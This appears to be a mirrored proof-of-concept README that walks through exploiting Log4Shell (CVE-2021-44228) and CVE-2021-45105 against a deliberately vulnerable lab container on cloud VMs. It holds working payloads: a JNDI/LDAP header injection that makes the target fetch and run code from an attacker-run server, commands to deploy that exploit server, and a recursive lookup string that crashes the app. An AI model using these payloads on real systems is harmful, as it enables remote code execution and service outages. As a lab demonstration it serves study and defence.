Associated Vulnerability
Title:Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints (CVE-2021-44228)Description:Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.
Description
Log4Shell Demo with AWS
Readme
# Log4Shell(CVE-2021-44228) Demo

## Environment Setup
### Client
- Anywhere that with ability to access the HTTP Server with `curl` command line
### Vulnerable App by Http Server with `log4j`
- Amazon Linux 2 (x86 based) EC2 Instance / CentOS Azure Virtual Machine
```bash
$ yum install docker -y
$ systemctl enable docker
$ systemctl start docker
$ docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
```
- SSH Console output

### JNDI Exploit as Harmful LDAP Server
- Amazon Linux 2 (x86 based) EC2 Instance
```bash
$ yum install java-11-amazon-corretto.x86_64 -y
# Azure for java-1.7.0-openjdk-1.7.0.261-2.6.22.2.el7_8.x86_64
$ wget https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
$ unzip JNDIExploit.v1.2.zip
# Indicate the service endpoint as the EC2 private ip from metadata
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i $(curl -s http://169.254.169.254/latest/meta-data/local-ipv4) -p 8888
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
```
- CentOS Azure Virtual Machine
```bash
$ wget https://corretto.aws/downloads/latest/amazon-corretto-11-x64-linux-jdk.rpm
$ yum install amazon-corretto-11-x64-linux-jdk.rpm -y
$ wget https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
$ unzip JNDIExploit.v1.2.zip
# Indicate the service endpoint as the private ip from metadata
$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i $(curl -sH Metadata:true --noproxy "*" "http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/?api-version=2021-02-01" | awk -F '[:,"]' '{print $5}') -p 8888
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
```
- SSH Console output

## Exploitation Flow
### Normal Behavior
The Server will return `Hello World!`, when Client sending the request properly with `X-Api-Version` header. Otherwise, the client would get the `400` HTTP error as bad request.
- Client
```bash
$ curl SERVER_IP:8080 -H 'X-Api-Version: 1.1'
Hello, world!
$ curl SERVER_IP:8080
{"timestamp":"2021-12-22T02:44:43.103+00:00","status":400,"error":"Bad Request","path":"/"}
```

- Server Log
```bash
# Requests with the header properly
2021-12-22 02:44:40.920 INFO 1 --- [nio-8080-exec-3] HelloWorld : Received a request for API version 1
It's Hello from System.out.
# Reqeusts without the right input
2021-12-22 02:44:43.102 WARN 1 --- [nio-8080-exec-5] .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.bind.MissingRequestHeaderException: Required request header 'X-Api-Version' for method parameter type String is not present]
```

### Injection Attack / CVE-2021-44228
Now we gonna to send the injection request with header `'X-Api-Version: ${jndi:ldap://10.0.1.164:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'`, which would trigger the CVE-2021-44228 to execute the JNDI lookup to access with ldap, and preform the RCE.
The `dG91Y2ggL3RtcC9wd25lZAo=}` is base64 encoded from linux command line `touch /tmp/pwned`. Once the RCE achieved, it would create a file in the vulnerable app.
You can also change the behavior by replacing the base64 string with https://www.base64encode.org/.
- Client
```bash
# Send the request with injection
$ curl SERVER_IP:8080 -H 'X-Api-Version: ${jndi:ldap://JNDI_EXPLOIT_IP:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
Hello, world!
```

- Server Log
```bash
2021-12-22 03:04:07,042 http-nio-8080-exec-6 WARN Error looking up JNDI resource [ldap://10.0.1.164:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=]. javax.naming.NamingException: problem generating object using object factory [Root exception is java.lang.ClassCastException: ExploitxM5KqZop9U cannot be cast to javax.naming.spi.ObjectFactory]; remaining name '"Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo="'
...
...
# Receive the injection and redirect it to the JNDI Exploit Server we indicated in the request
2021-12-22 03:04:06.567 INFO 1 --- [nio-8080-exec-6] HelloWorld : Received a request for API version ${jndi:ldap://JNDI_EXPLOIT_IP:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}
```

- JNDI Exploit
```bash
# Get the LDAP Lookup from server vulnerable app
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=
[+] Paylaod: command
[+] Command: touch /tmp/pwned
# Send back the encoded string back to vulnerable app, let the app execute the command in base64
[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo= with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo= redirecting to http://10.0.1.164:8888/ExploitxM5KqZop9U.class
[+] New HTTP Request From /10.0.1.200:33250 /ExploitxM5KqZop9U.class
[+] Receive ClassRequest: ExploitxM5KqZop9U.class
[+] Response Code: 200
```

- Validate the RCE result in vulnerable app in Server
```bash
# Get the Container ID of vulnerable app in Server
$ docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
a4b14c4adb6c vulnerable-app "java -jar /app/spri…" About an hour ago Up About an hour 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp vulnerable-app
# List the /tmp folder before the injection
$ docker exec -i -t a4b14c4adb6c ls -l /tmp/
total 0
drwxr-xr-x 2 root root 15 Dec 22 02:34 hsperfdata_root
drwx------ 2 root root 6 Dec 22 01:34 tomcat-docbase.8080.228050961485794229
drwx------ 3 root root 18 Dec 22 01:34 tomcat.8080.4816494392465116780
# Confirm the RCE achieved bt injection request
$ docker exec -i -t a4b14c4adb6c ls -l /tmp/
total 0
drwxr-xr-x 2 root root 15 Dec 22 02:34 hsperfdata_root
-rw-r--r-- 1 root root 0 Dec 22 03:04 pwned # RCE achieved
drwx------ 2 root root 6 Dec 22 01:34 tomcat-docbase.8080.228050961485794229
drwx------ 3 root root 18 Dec 22 01:34 tomcat.8080.4816494392465116780
```

### Injection Attack / CVE-2021-45105
Log4j2 versions 2.0-alpha1 through 2.16.0, excluding 2.12.3, didn't protect from uncontrolled recursion from self-referential lookups. When the logging configuration uses a non-default Pattern Layout with a Context Lookup, attackers with control over Thread Context Map (MDC) input data can craft malicious input data that contains a recursive lookup, resulting in a StackOverflowError that will terminate the process. - [*Description fro CVE-2021-45105, Apache*](https://logging.apache.org/log4j/2.x/security.html)
Now we can input the Thread Context Map with StrSubstitutor class `${${::-${::-$${::-j}}}}` to let the application crash due to infinit recursion error.
- Client
```bash
# Send the request with injection
$ curl SERVER_IP:8080 -H 'X-Api-Version: ${${::-${::-$${::-$}}}}'
Hello, world!
```

- Server Log
```bash
2021-12-22 03:42:38,614 http-nio-8080-exec-2 ERROR An exception occurred processing Appender Console java.lang.IllegalStateException: Infinite loop in property interpolation of ::-${::-$${::-$}}: :
...
...
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:748)
```

## Reference
- [christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app)
- [Mr-xn/JNDIExploit](https://github.com/Mr-xn/JNDIExploit-1)
File Snapshot
[4.0K] /data/pocs/0a4376a8f5e490095bdd019a15d057fab009239c
├── [6.7K] demo-aws-mitigation.md
├── [ 29K] demo-scenarios.excalidraw
├── [198K] demo-scenarios-on-aws.excalidraw
├── [4.0K] images
│ ├── [224K] alb-listener.png
│ ├── [ 37K] client-ec2-request-injection.png
│ ├── [ 48K] client-ec2-requests-blocked.png
│ ├── [ 72K] client-local-request-injection.png
│ ├── [ 31K] client-local-requests-normal.png
│ ├── [ 13K] client-requests-45105.png
│ ├── [ 21K] client-requests-injection.png
│ ├── [ 26K] client-requests-normal.png
│ ├── [288K] demo-scenarios-on-aws.png
│ ├── [177K] demo-scenarios.png
│ ├── [228K] ec2-instance-findings.png
│ ├── [154K] ecr-image-details.png
│ ├── [253K] ecr-image-findings.png
│ ├── [175K] inspector-finding-remediation.png
│ ├── [ 76K] jndi-exploit-ldap.png
│ ├── [ 23K] jndiexploit.png
│ ├── [ 29K] server-alb-requests-normal.png
│ ├── [ 84K] server-app-pwned.png
│ ├── [ 90K] server-error-infinite-loop.png
│ ├── [ 21K] server-exploit.png
│ ├── [ 33K] server-requests-normal.png
│ ├── [113K] spring-web-server.png
│ ├── [118K] target-group-health-check.png
│ ├── [128K] target-group-registered-targets.png
│ ├── [217K] waf-anonymous-rule-block.png
│ ├── [ 72K] waf-web-acls.png
│ └── [142K] waf-web-acls-rules.png
└── [8.1K] README.md
1 directory, 31 files
Remarks
1. It is advised to access via the original source first.
2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →